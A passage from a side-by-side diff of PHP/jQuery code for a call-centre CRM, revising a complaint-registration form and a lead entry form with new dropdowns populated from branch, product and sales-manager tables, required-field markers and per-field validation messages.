| 1785 | <input type='text' class='form_new form_new_amend'style='width:50%;' value='".$dataarr['clientcode']."' id='custId'> | 2005 | <input type='number' class='form_new form_new_amend'style='width:50%;' value='' id='custId'> |
| 1786 | </div> | 2006 | </div> |
| 1787 | 2007 | ||
| 1788 | <div style='width:49%;float:left'> | 2008 | <div style='width:49%;float:left'> |
| 1789 | <label class='label-small_new' style='width:29%;'>Shadow Cust ID</label> | 2009 | <label class='label-small_new' style='width:29%;'>Shadow Cust ID</label> |
| 1790 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='shadCustId'> | 2010 | <input type='number' class='form_new form_new_amend' style='width:50%;' id='shadCustId'> |
| 1791 | </div> | 2011 | </div> |
| 1792 | </div> | 2012 | </div> |
| 1793 | <br><br> | 2013 | <br><br> |
| ... | @@ -1798,15 +2018,15 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1798,15 +2018,15 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1798 | </div> | 2018 | </div> |
| 1799 | 2019 | ||
| 1800 | <div style='width:49%;float:left' class='search'> | 2020 | <div style='width:49%;float:left' class='search'> |
| 1801 | <label class='label-small_new' style='width:29%;'>Docket Number</label> | 2021 | <label class='label-small_new' style='width:29%;'>Docket Number<span style='color:red;'>*</span></label> |
| 1802 | <input type='text' class='form_new form_new_amend' style='width:52%;' id='dockNum' value='COP/PRIME-".date('Y/m/d')."-".$dataarr['client']."-".rand()."' readonly> | 2022 | <input type='text' class='form_new form_new_amend' style='width:52%;' id='dockNum' value=''> |
| 1803 | </div> | 2023 | </div> |
| 1804 | </div> | 2024 | </div> |
| 1805 | <br><br> | 2025 | <br><br> |
| 1806 | <div style='clear:both;width:100%;'> | 2026 | <div style='clear:both;width:100%;'> |
| 1807 | <div style='width:49%;float:left'> | 2027 | <div style='width:49%;float:left'> |
| 1808 | <label class='label-small_new' style='width:29%;'>Customer Name On Card</label> | 2028 | <label class='label-small_new' style='width:29%;'>Customer Name On Card</label> |
| 1809 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='custNameOnCard' value='".$dataarr['firstname']."'> | 2029 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='custNameOnCard' value=''> |
| 1810 | </div> | 2030 | </div> |
| 1811 | 2031 | ||
| 1812 | <div style='width:49%;float:left'> | 2032 | <div style='width:49%;float:left'> |
| ... | @@ -1829,8 +2049,8 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1829,8 +2049,8 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1829 | <br><br> | 2049 | <br><br> |
| 1830 | <div style='clear:both;width:100%;'> | 2050 | <div style='clear:both;width:100%;'> |
| 1831 | <div style='width:49%;float:left'> | 2051 | <div style='width:49%;float:left'> |
| 1832 | <label class='label-small_new' style='width:29%;'>Customer Mobile</label> | 2052 | <label class='label-small_new' style='width:29%;'>Customer Mobile<span style='color:red;'>*</span></label> |
| 1833 | <input type='number' class='form_new form_new_amend' style='width:50%;' id='custMob' value='".$dataarr['mobile']."'> | 2053 | <input type='number' class='form_new form_new_amend' style='width:50%;' id='custMob' maxlength='10'> |
| 1834 | </div> | 2054 | </div> |
| 1835 | 2055 | ||
| 1836 | <div style='width:49%;float:left'> | 2056 | <div style='width:49%;float:left'> |
| ... | @@ -1842,18 +2062,18 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1842,18 +2062,18 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1842 | <div style='clear:both;width:100%;'> | 2062 | <div style='clear:both;width:100%;'> |
| 1843 | <div style='width:49%;float:left'> | 2063 | <div style='width:49%;float:left'> |
| 1844 | <label class='label-small_new' style='width:29%;'>Email</label> | 2064 | <label class='label-small_new' style='width:29%;'>Email</label> |
| 1845 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='email' value='".$dataarr['emailid']."'> | 2065 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='email' value='' maxlength='50'> |
| 1846 | </div> | 2066 | </div> |
| 1847 | 2067 | ||
| 1848 | <div style='width:49%;float:left'> | 2068 | <div style='width:49%;float:left'> |
| 1849 | <label class='label-small_new' style='width:29%;'>Case Reference</label> | 2069 | <label class='label-small_new' style='width:29%;'>Case Reference</label> |
| 1850 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='caseRef' value='' readonly> | 2070 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='caseRef' value='' maxlength='50'> |
| 1851 | </div> | 2071 | </div> |
| 1852 | </div> | 2072 | </div> |
| 1853 | <br><br> | 2073 | <br><br> |
| 1854 | <div style='clear:both;width:100%;'> | 2074 | <div style='clear:both;width:100%;'> |
| 1855 | <div style='width:49%;float:left'> | 2075 | <div style='width:49%;float:left'> |
| 1856 | <label class='label-small_new' style='width:29%;'>Source Of Information</label> | 2076 | <label class='label-small_new' style='width:29%;'>Source Of Information<span style='color:red;'>*</span></label> |
| 1857 | <select id='srcInfo' class='form_hrm_select select2multi' style='width:50%'>$srcInfo</select> | 2077 | <select id='srcInfo' class='form_hrm_select select2multi' style='width:50%'>$srcInfo</select> |
| 1858 | </div> | 2078 | </div> |
| 1859 | 2079 | ||
| ... | @@ -1880,12 +2100,12 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1880,12 +2100,12 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1880 | <br><br> | 2100 | <br><br> |
| 1881 | <div style='clear:both;width:100%;'> | 2101 | <div style='clear:both;width:100%;'> |
| 1882 | <div style='width:49%;float:left'> | 2102 | <div style='width:49%;float:left'> |
| 1883 | <label class='label-small_new' style='width:29%;'>Logging Branch Name</label> | 2103 | <label class='label-small_new' style='width:29%;'>Logging Branch Name<span style='color:red;'>*</span></label> |
| 1884 | <select id='logBranchName' class='form_hrm_select select2multi' style='width:50%' readonly>$logBranchName</select> | 2104 | <select id='logBranchName' class='form_hrm_select select2multi' style='width:50%' readonly>$logBranchName</select> |
| 1885 | </div> | 2105 | </div> |
| 1886 | 2106 | ||
| 1887 | <div style='width:49%;float:left'> | 2107 | <div style='width:49%;float:left'> |
| 1888 | <label class='label-small_new' style='width:29%;'>Logging Classification Unit</label> | 2108 | <label class='label-small_new' style='width:29%;'>Logging Classification Unit<span style='color:red;'>*</span></label> |
| 1889 | <select id='logClassUnit' class='form_hrm_select select2multi' style='width:50%' readonly> | 2109 | <select id='logClassUnit' class='form_hrm_select select2multi' style='width:50%' readonly> |
| 1890 | <option value=''></option> | 2110 | <option value=''></option> |
| 1891 | <option value='COP'>COP</option> | 2111 | <option value='COP'>COP</option> |
| ... | @@ -1920,7 +2140,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1920,7 +2140,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1920 | <br><br> | 2140 | <br><br> |
| 1921 | <div style='clear:both;width:100%;'> | 2141 | <div style='clear:both;width:100%;'> |
| 1922 | <div style='width:49%;float:left'> | 2142 | <div style='width:49%;float:left'> |
| 1923 | <label class='label-small_new' style='width:29%;'>Proposed/Resolving Branch Name</label> | 2143 | <label class='label-small_new' style='width:29%;'>Proposed/Resolving Branch Name<span style='color:red;'>*</span></label> |
| 1924 | <select id='resBranch' class='form_hrm_select select2multi' style='width:50%'></select> | 2144 | <select id='resBranch' class='form_hrm_select select2multi' style='width:50%'></select> |
| 1925 | </div> | 2145 | </div> |
| 1926 | <div style='width:49%;float:left'> | 2146 | <div style='width:49%;float:left'> |
| ... | @@ -1934,14 +2154,14 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1934,14 +2154,14 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1934 | <br><br> | 2154 | <br><br> |
| 1935 | <div style='clear:both;width:100%;'> | 2155 | <div style='clear:both;width:100%;'> |
| 1936 | <div> | 2156 | <div> |
| 1937 | <label class='label-small_new' style='width:14%;'>Category</label> | 2157 | <label class='label-small_new' style='width:14%;'>Category<span style='color:red;'>*</span></label> |
| 1938 | <select id='cat' class='form_hrm_select select2multi' style='width:50%'></select> | 2158 | <select id='cat' class='form_hrm_select select2multi' style='width:50%'></select> |
| 1939 | </div> | 2159 | </div> |
| 1940 | </div> | 2160 | </div> |
| 1941 | <br><br> | 2161 | <br><br> |
| 1942 | <div style='clear:both;width:100%;'> | 2162 | <div style='clear:both;width:100%;'> |
| 1943 | <div> | 2163 | <div> |
| 1944 | <label class='label-small_new' style='width:14%;'>Subcategory</label> | 2164 | <label class='label-small_new' style='width:14%;'>Subcategory<span style='color:red;'>*</span></label> |
| 1945 | <select id='subCat' class='form_hrm_select select2multi' style='width:50%'> </select> | 2165 | <select id='subCat' class='form_hrm_select select2multi' style='width:50%'> </select> |
| 1946 | </div> | 2166 | </div> |
| 1947 | </div> | 2167 | </div> |
| ... | @@ -1956,7 +2176,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -1956,7 +2176,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 1956 | <br><br> | 2176 | <br><br> |
| 1957 | <div style='clear:both;width:100%;'> | 2177 | <div style='clear:both;width:100%;'> |
| 1958 | <div> | 2178 | <div> |
| 1959 | <label class='label-small_new' style='width:14%;'>Nature Of Complaint</label> | 2179 | <label class='label-small_new' style='width:14%;'>Nature Of Complaint<span style='color:red;'>*</span></label> |
| 1960 | <textarea class='form_new form_new_amend'style='width:74%;border-left: 3px solid #FF4500;' maxlength='512' id='noc' rows='4'></textarea> | 2180 | <textarea class='form_new form_new_amend'style='width:74%;border-left: 3px solid #FF4500;' maxlength='512' id='noc' rows='4'></textarea> |
| 1961 | <p id='nocText' style='margin-left:14%;'></p> | 2181 | <p id='nocText' style='margin-left:14%;'></p> |
| 1962 | </div> | 2182 | </div> |
| ... | @@ -2095,7 +2315,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -2095,7 +2315,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 2095 | 2315 | ||
| 2096 | for(var i in catArr) | 2316 | for(var i in catArr) |
| 2097 | { | 2317 | { |
| 2098 | $('#cat').append(\"<option value='\"+catArr[i]['id']+\"'>\"+catArr[i]['category']+\"</option>\"); | 2318 | $('#cat').append(\"<option value='\"+catArr[i]['id']+\"~\"+catArr[i]['category']+\"'>\"+catArr[i]['category']+\"</option>\"); |
| 2099 | } | 2319 | } |
| 2100 | 2320 | ||
| 2101 | 2321 | ||
| ... | @@ -2107,7 +2327,11 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -2107,7 +2327,11 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 2107 | 2327 | ||
| 2108 | $('#cat').click(function() | 2328 | $('#cat').click(function() |
| 2109 | { | 2329 | { |
| 2110 | var catId = $(this).val(); | 2330 | var catidsplit = $(this).val(); |
| 2331 | var categoryval = catidsplit.split('~'); | ||
| 2332 | catId = categoryval[0]; | ||
| 2333 | categoryvalue = categoryval[1]; | ||
| 2334 | |||
| 2111 | var resclassUnitVal = $('#resclassUnit').val(); | 2335 | var resclassUnitVal = $('#resclassUnit').val(); |
| 2112 | 2336 | ||
| 2113 | //To make empty when Non rbb selected | 2337 | //To make empty when Non rbb selected |
| ... | @@ -2168,7 +2392,9 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -2168,7 +2392,9 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 2168 | var ackSent = $('#ackSent').val(); | 2392 | var ackSent = $('#ackSent').val(); |
| 2169 | var resclassUnit = $('#resclassUnit').val(); | 2393 | var resclassUnit = $('#resclassUnit').val(); |
| 2170 | var resBranch = $('#resBranch').val(); | 2394 | var resBranch = $('#resBranch').val(); |
| 2171 | var cat = $('#cat').text(); | 2395 | var cat = $('#cat').val(); |
| 2396 | |||
| 2397 | |||
| 2172 | var subCat = $('#subCat').val(); | 2398 | var subCat = $('#subCat').val(); |
| 2173 | var addInfo = $('#addInfo').val(); | 2399 | var addInfo = $('#addInfo').val(); |
| 2174 | var noc = $('#noc').val(); | 2400 | var noc = $('#noc').val(); |
| ... | @@ -2178,9 +2404,43 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -2178,9 +2404,43 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 2178 | var compStatus = $('#compStatus').val(); | 2404 | var compStatus = $('#compStatus').val(); |
| 2179 | var call_id = ".$callId."; | 2405 | var call_id = ".$callId."; |
| 2180 | 2406 | ||
| 2181 | if(compName==''||custId==''||dockNum==''||custMob==''||email==''||resBranch==''||cat==''||subCat==''||srcInfo==''||noc=='') | 2407 | |
| 2182 | { | 2408 | |
| 2183 | alert('Complainant Name,Customer Id, Docket Number,Customer Mobile,Email,Case Reference,Resolving Branch Name,Category,Subcategory,Source of Information,Nature of Complaint are required'); | 2409 | if(compName==''){ |
| 2410 | simpleNotification('error','topRight','please enter Complainant Name'); | ||
| 2411 | return; | ||
| 2412 | }else if(exitCust==''){ | ||
| 2413 | simpleNotification('error','topRight','please select existing Customer'); | ||
| 2414 | return; | ||
| 2415 | }else if(custId==''){ | ||
| 2416 | simpleNotification('error','topRight','please enter Customer Id'); | ||
| 2417 | return; | ||
| 2418 | }else if(dockNum==''){ | ||
| 2419 | simpleNotification('error','topRight','please enter Docket Number'); | ||
| 2420 | return; | ||
| 2421 | }else if(custMob==''){ | ||
| 2422 | simpleNotification('error','topRight','please enter Customer Mobile'); | ||
| 2423 | return; | ||
| 2424 | }else if(logBranchName==''){ | ||
| 2425 | simpleNotification('error','topRight','please select Logging Branch Name'); | ||
| 2426 | return; | ||
| 2427 | }else if(logClassUnit==''){ | ||
| 2428 | simpleNotification('error','topRight','please select Logging Classification Unit'); | ||
| 2429 | return; | ||
| 2430 | }else if(resBranch==''){ | ||
| 2431 | simpleNotification('error','topRight','please select Resolving Branch Name'); | ||
| 2432 | return; | ||
| 2433 | }else if(cat==''){ | ||
| 2434 | simpleNotification('error','topRight','please select Category'); | ||
| 2435 | return; | ||
| 2436 | }else if(subCat==''){ | ||
| 2437 | simpleNotification('error','topRight','please select Subcategory'); | ||
| 2438 | return; | ||
| 2439 | }else if(srcInfo==''){ | ||
| 2440 | simpleNotification('error','topRight','please select Source Of Information'); | ||
| 2441 | return; | ||
| 2442 | }else if(noc==''){ | ||
| 2443 | simpleNotification('error','topRight','please enter Nature Of Complaint'); | ||
| 2184 | return; | 2444 | return; |
| 2185 | } | 2445 | } |
| 2186 | 2446 | ||
| ... | @@ -2189,6 +2449,9 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -2189,6 +2449,9 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 2189 | swal('Please enter proper Card Number'); | 2449 | swal('Please enter proper Card Number'); |
| 2190 | return; | 2450 | return; |
| 2191 | } | 2451 | } |
| 2452 | var category = cat.split('~'); | ||
| 2453 | var catId = category[0]; | ||
| 2454 | var categoryvalue = category[1]; | ||
| 2192 | 2455 | ||
| 2193 | var postdata='complainant_name='+encodeURIComponent(compName); | 2456 | var postdata='complainant_name='+encodeURIComponent(compName); |
| 2194 | postdata+='&aan='+encodeURIComponent(aan); | 2457 | postdata+='&aan='+encodeURIComponent(aan); |
| ... | @@ -2215,7 +2478,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { | ... | @@ -2215,7 +2478,7 @@ foreach ($resclassUnitArr as $key => $resclassunit) { |
| 2215 | postdata+='&logging_class_unit='+encodeURIComponent(logClassUnit); | 2478 | postdata+='&logging_class_unit='+encodeURIComponent(logClassUnit); |
| 2216 | postdata+='&resolve_class_unit='+encodeURIComponent(resclassUnit); | 2479 | postdata+='&resolve_class_unit='+encodeURIComponent(resclassUnit); |
| 2217 | postdata+='&resolving_branch='+encodeURIComponent(resBranch); | 2480 | postdata+='&resolving_branch='+encodeURIComponent(resBranch); |
| 2218 | postdata+='&category='+encodeURIComponent(cat); | 2481 | postdata+='&category='+encodeURIComponent(categoryvalue); |
| 2219 | postdata+='&sub_category='+encodeURIComponent(subCat); | 2482 | postdata+='&sub_category='+encodeURIComponent(subCat); |
| 2220 | postdata+='&additional_info='+encodeURIComponent(addInfo); | 2483 | postdata+='&additional_info='+encodeURIComponent(addInfo); |
| 2221 | postdata+='&nature_of_complaint='+encodeURIComponent(noc); | 2484 | postdata+='&nature_of_complaint='+encodeURIComponent(noc); |
| ... | @@ -2537,104 +2800,194 @@ function createChildCase() | ... | @@ -2537,104 +2800,194 @@ function createChildCase() |
| 2537 | } | 2800 | } |
| 2538 | //Function for lead form creation by Gopal | 2801 | //Function for lead form creation by Gopal |
| 2539 | function createLeadEntryForm() | 2802 | function createLeadEntryForm() |
| 2540 | { | 2803 | { $leadFormProducts = DB::table("leadform_products")->get(); |
| 2804 | $dataarr=$this->recruitdata["peopledata"]; | ||
| 2805 | $products = "<option value=''></option>"; | ||
| 2806 | foreach ($leadFormProducts as $key => $fields) | ||
| 2807 | { | ||
| 2808 | if($fields->products) | ||
| 2809 | $products.= "<option value='$fields->products'>$fields->products</option>"; | ||
| 2810 | } | ||
| 2811 | $branchcodeMaster=DB::table("UD_CRM_BR_MASTER")->select('BR_CODE','BR_NAME')->get(); | ||
| 2812 | $brcode = "<option value=''></option>"; | ||
| 2813 | $brname = "<option value=''></option>"; | ||
| 2814 | foreach ($branchcodeMaster as $key => $brmaster) | ||
| 2815 | { | ||
| 2816 | if($brmaster->BR_CODE) | ||
| 2817 | $brcode.= "<option value='$brmaster->BR_CODE'>$brmaster->BR_CODE</option>"; | ||
| 2818 | if($brmaster->BR_NAME) | ||
| 2819 | $brname.= "<option value='$brmaster->BR_CODE'>$brmaster->BR_NAME</option>"; | ||
| 2820 | } | ||
| 2821 | $sm_master= DB::table("UD_SM_MAPPING")->select(DB::raw('distinct USER_NAME'))->where('USER_NAME','!=','')->get(); | ||
| 2822 | $smname="<option value=''></option>"; | ||
| 2823 | foreach ($sm_master as $key => $sm_name) | ||
| 2824 | { | ||
| 2825 | if($sm_name->USER_NAME) | ||
| 2826 | $smname.= "<option value='$sm_name->USER_NAME'>$sm_name->USER_NAME</option>"; | ||
| 2827 | } | ||
| 2828 | $cust_profile= DB::table("UD_LEAD_ENTRY_CUSTOMER_PROFILE")->select('CUST_PROFILE')->get(); | ||
| 2829 | $custprofile="<option value=''></option>"; | ||
| 2830 | foreach ($cust_profile as $key => $cust_pro) { | ||
| 2831 | $custprofile.="<option value='$cust_pro->CUST_PROFILE'>$cust_pro->CUST_PROFILE</option>"; | ||
| 2832 | } | ||
| 2541 | $dataarr=$this->recruitdata["peopledata"]; | 2833 | $dataarr=$this->recruitdata["peopledata"]; |
| 2542 | $data="<div style='clear:both;margin:2% 0 0 1%;border-style: dotted solid dashed;padding:2%'> | 2834 | $data="<div style='clear:both;margin:2% 0 0 1%;border-style: dotted solid dashed;padding:2%'> |
| 2543 | <h5>Lead Entry Form</h5> | 2835 | <h5>Lead Entry Form</h5> |
| 2544 | <hr/><br> | 2836 | <hr/><br> |
| 2545 | <br><br> | 2837 | |
| 2546 | <div style='clear:both;width:100%;'> | 2838 | <div style='clear:both;width:100%;'> |
| 2839 | <div style='width:49%;float:left'> | ||
| 2840 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Customer Name</label> | ||
| 2841 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['firstname']."' id='customer_name' readonly> | ||
| 2842 | </div> | ||
| 2843 | </div> | ||
| 2547 | <br><br> | 2844 | <br><br> |
| 2548 | 2845 | <div style='clear:both;width:100%;'> | |
| 2549 | <div style='width:49%;float:left'> | 2846 | <div style='width:49%;float:left'> |
| 2550 | <label class='label-small_new' style='width:29%;'>Product</label> | 2847 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Branch Name</label> |
| 2551 | <input type='text' class='form_new form_new_amend'style='width:50%;' value='' id='product'> | 2848 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='br_name'>$brname</select> |
| 2552 | </div> | 2849 | </div> |
| 2553 | <div style='width:49%;float:left'> | 2850 | <div style='width:49%;float:left'> |
| 2554 | <label class='label-small_new' style='width:29%;'>Customer Name</label> | 2851 | <label class='label-small_new' style='width:29%;font-weight:bold;'>LG Code</label> |
| 2555 | <input type='text' class='form_new form_new_amend'style='width:50%;' value='' id='customer_name'> | 2852 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='' id='lg_code'> |
| 2556 | </div> | 2853 | </div> |
| 2557 | |||
| 2558 | </div> | 2854 | </div> |
| 2559 | <br><br> | 2855 | <br><br> |
| 2560 | <div style='clear:both;width:100%;'> | 2856 | <div style='clear:both;width:100%;'> |
| 2561 | |||
| 2562 | <div style='width:49%;float:left'> | 2857 | <div style='width:49%;float:left'> |
| 2563 | <label class='label-small_new' style='width:29%;'>Mobile No.</label> | 2858 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Mobile Number</label> |
| 2564 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='mobile_number'> | 2859 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['mobile']."' id='mobile'> |
| 2565 | </div> | 2860 | </div> |
| 2566 | <div style='width:49%;float:left'> | 2861 | <div style='width:49%;float:left'> |
| 2567 | <label class='label-small_new' style='width:29%;'>City</label> | 2862 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Processing entity</label> |
| 2568 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='city'> | 2863 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='processing_entity'><option value='SALES'>SALES</option><option value='OCC'>OCC</option></select> |
| 2569 | </div> | 2864 | </div> |
| 2570 | |||
| 2571 | </div> | 2865 | </div> |
| 2572 | <br><br> | 2866 | <br><br> |
| 2573 | <div style='clear:both;width:100%;'> | 2867 | <div style='clear:both;width:100%;'> |
| 2574 | 2868 | <div style='width:49%;float:left'> | |
| 2575 | <div style='width:49%;float:left' class='search'> | 2869 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Lead Owner</label> |
| 2576 | <label class='label-small_new' style='width:29%;'>State</label> | 2870 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='lead_owner'>$smname</select> |
| 2577 | <input type='text' class='form_new form_new_amend' style='width:52%;' id='state' value=''> | ||
| 2578 | </div> | 2871 | </div> |
| 2579 | <div style='width:49%;float:left'> | 2872 | <div style='width:49%;float:left'> |
| 2580 | <label class='label-small_new' style='width:29%;'>Agent Memo</label> | 2873 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Lead Priority</label> |
| 2581 | <textarea class='form_new form_new_amend'style='width:74%;' maxlength='1000' id='agent_memo' rows='8'></textarea> | 2874 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='lead_priority'><option value='Urgent'>Urgent</option><option value='Normal'>Normal</option></select> |
| 2582 | </div> | 2875 | </div> |
| 2583 | |||
| 2584 | </div> | 2876 | </div> |
| 2585 | <br><br> | 2877 | <br><br> |
| 2586 | <div style='clear:both;width:100%;'> | 2878 | <div style='clear:both;width:100%;'> |
| 2587 | |||
| 2588 | <div style='width:49%;float:left'> | 2879 | <div style='width:49%;float:left'> |
| 2589 | <label class='label-small_new' style='width:29%;'>Customer Memo</label> | 2880 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Product</label> |
| 2590 | <textarea class='form_new form_new_amend'style='width:74%;' maxlength='1000' id='customer_memo' rows='8'></textarea> | 2881 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='product'>$products</select> |
| 2591 | </div> | 2882 | </div> |
| 2592 | <div style='width:49%;float:left'> | 2883 | <div style='width:49%;float:left'> |
| 2593 | <label class='label-small_new' style='width:29%;'>Remarks</label> | 2884 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Customer Profile</label> |
| 2594 | <textarea class='form_new form_new_amend'style='width:74%;' maxlength='1000' id='remarks' rows='8'></textarea> | 2885 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='customer_profile'>$custprofile</select> |
| 2595 | </div> | 2886 | </div> |
| 2596 | |||
| 2597 | </div> | 2887 | </div> |
| 2598 | <br><br> | 2888 | <br><br> |
| 2599 | <div style='clear:both;width:100%;'> | 2889 | <div style='clear:both;width:100%;'> |
| 2600 | <div style='width:49%;float:left'> | 2890 | <div> |
| 2601 | <label class='label-small_new' style='width:29%;'>Transfer Memo</label> | 2891 | <label class='label-small_new' style='width:14%;font-weight:bold;'>Remarks</label> |
| 2602 | <textarea class='form_new form_new_amend'style='width:74%;' maxlength='1000' id='transfer_memo' rows='8'></textarea> | 2892 | <textarea class='form_new form_new_amend'style='width:74%;border: 2px solid;' maxlength='512' id='remarks' rows='4'></textarea> |
| 2603 | </div> | 2893 | </div> |
| 2604 | </div> | 2894 | </div> |
| 2605 | <br><br> | 2895 | <br><br> |
| 2606 | <div style='clear:both;width:100%;'> | 2896 | <div style='clear:both;width:100%;'> |
| 2607 | <input type='button' class='btn btn-default btn-md' style='margin-left:40%' value='Save' id='leadformSave'> | 2897 | <input type='button' class='btn btn-default btn-md' style='margin-left:40%;font-weight:bold;' value='Save' id='leadformSave'> |
| 2608 | </div> | 2898 | </div> |
| 2609 | </div> | 2899 | </div> |
| 2900 | |||
| 2610 | <script> | 2901 | <script> |
| 2611 | 2902 | ||
| 2612 | 2903 | ||
| 2613 | 2904 | ||
| 2614 | $('#leadformSave').click(function() | 2905 | $('#leadformSave').click(function() |
| 2615 | { | 2906 | { |
| 2907 | if(kstychCall['ts_Talk']<1||Math.ceil(((getNowTS()-kstychCall['ts_Talk'])/1000))<10) | ||
| 2908 | { | ||
| 2909 | simpleNotification('error','topRight','please get On call first'); | ||
| 2910 | $('#br_name').select2('data', {id:'', text:''}); | ||
| 2911 | $('#lg_code').val(''); | ||
| 2912 | $('#processing_entity').select2('data', {id:'', text:''}); | ||
| 2913 | $('#lead_owner').select2('data', {id:'', text:''}); | ||
| 2914 | $('#lead_priority').select2('data', {id:'', text:''}); | ||
| 2915 | $('#product').select2('data', {id:'', text:''}); | ||
| 2916 | $('#customer_profile').select2('data', {id:'', text:''}); | ||
| 2917 | $('#remarks').val(''); | ||
| 2918 | return; | ||
| 2919 | } | ||
| 2920 | else | ||
| 2921 | { | ||
| 2922 | var br_code = $('#br_name').val(); | ||
| 2923 | var br_name= $('#br_name option:selected').text(); | ||
| 2924 | var lg_code = $('#lg_code').val(); | ||
| 2925 | var mobile = $('#mobile').val(); | ||
| 2926 | var processing_entity = $('#processing_entity').val(); | ||
| 2927 | var lead_owner = $('#lead_owner').val(); | ||
| 2928 | var lead_priority = $('#lead_priority').val(); | ||
| 2616 | var product = $('#product').val(); | 2929 | var product = $('#product').val(); |
| 2617 | var customer_name = $('#customer_name').val(); | 2930 | var customer_profile = $('#customer_profile').val(); |
| 2618 | var mobile_number = $('#mobile_number').val(); | ||
| 2619 | var city = $('#city').val(); | ||
| 2620 | var state = $('#state').val(); | ||
| 2621 | var agent_memo = $('#agent_memo').val(); | ||
| 2622 | var customer_memo = $('#customer_memo').val(); | ||
| 2623 | var remarks = $('#remarks').val(); | 2931 | var remarks = $('#remarks').val(); |
| 2624 | var transfer_memo = $('#transfer_memo').val(); | ||
| 2625 | 2932 | ||
| 2933 | if(br_name==''){ | ||
| 2934 | simpleNotification('error','topRight','please select Branch Name'); | ||
| 2935 | return; | ||
| 2936 | }else if(lg_code==''){ | ||
| 2937 | simpleNotification('error','topRight','please enter LG Code'); | ||
| 2938 | return; | ||
| 2939 | }else if(mobile==''){ | ||
| 2940 | simpleNotification('error','topRight','please enter Mobile Number'); | ||
| 2941 | return; | ||
| 2942 | }else if(processing_entity==''){ | ||
| 2943 | simpleNotification('error','topRight','please select Processing Entity'); | ||
| 2944 | return; | ||
| 2945 | }else if(lead_owner==''){ | ||
| 2946 | simpleNotification('error','topRight','please Select lead owner'); | ||
| 2947 | return; | ||
| 2948 | }else if(lead_priority==''){ | ||
| 2949 | simpleNotification('error','topRight','please select lead Priority'); | ||
| 2950 | return; | ||
| 2951 | }else if(product==''){ | ||
| 2952 | simpleNotification('error','topRight','please select Product'); | ||
| 2953 | return; | ||
| 2954 | }else if(customer_profile==''){ | ||
| 2955 | simpleNotification('error','topRight','please select Customer Profile'); | ||
| 2956 | return; | ||
| 2957 | }else if(remarks==''){ | ||
| 2958 | simpleNotification('error','topRight','please select Remarks'); | ||
| 2959 | return; | ||
| 2960 | } | ||
| 2961 | |||
| 2962 | $('#br_name').select2('data', {id:'', text:''}); | ||
| 2963 | $('#lg_code').val(''); | ||
| 2964 | $('#processing_entity').select2('data', {id:'', text:''}); | ||
| 2965 | $('#lead_owner').select2('data', {id:'', text:''}); | ||
| 2966 | $('#lead_priority').select2('data', {id:'', text:''}); | ||
| 2967 | $('#product').select2('data', {id:'', text:''}); | ||
| 2968 | $('#customer_profile').select2('data', {id:'', text:''}); | ||
| 2969 | $('#remarks').val(''); | ||
| 2626 | 2970 | ||
| 2627 | var postdata='product='+encodeURIComponent(product); | 2971 | var postdata='varid='+$('#varid').val(); |
| 2628 | postdata+='&customer_name='+encodeURIComponent(customer_name); | 2972 | postdata+='&mobile='+'".$dataarr["mobile"]."'; |
| 2629 | postdata+='&mobile_number='+encodeURIComponent(mobile_number); | 2973 | postdata+='&client='+'".$dataarr["client"]."'; |
| 2630 | postdata+='&city='+encodeURIComponent(city); | 2974 | postdata+='&clientcode='+'".$dataarr["clientcode"]."'; |
| 2631 | postdata+='&state='+encodeURIComponent(state); | 2975 | postdata+='&firstname='+'".$dataarr["firstname"]."'; |
| 2632 | postdata+='&agent_memo='+encodeURIComponent(agent_memo); | 2976 | postdata+='&br_code='+encodeURIComponent(br_code); |
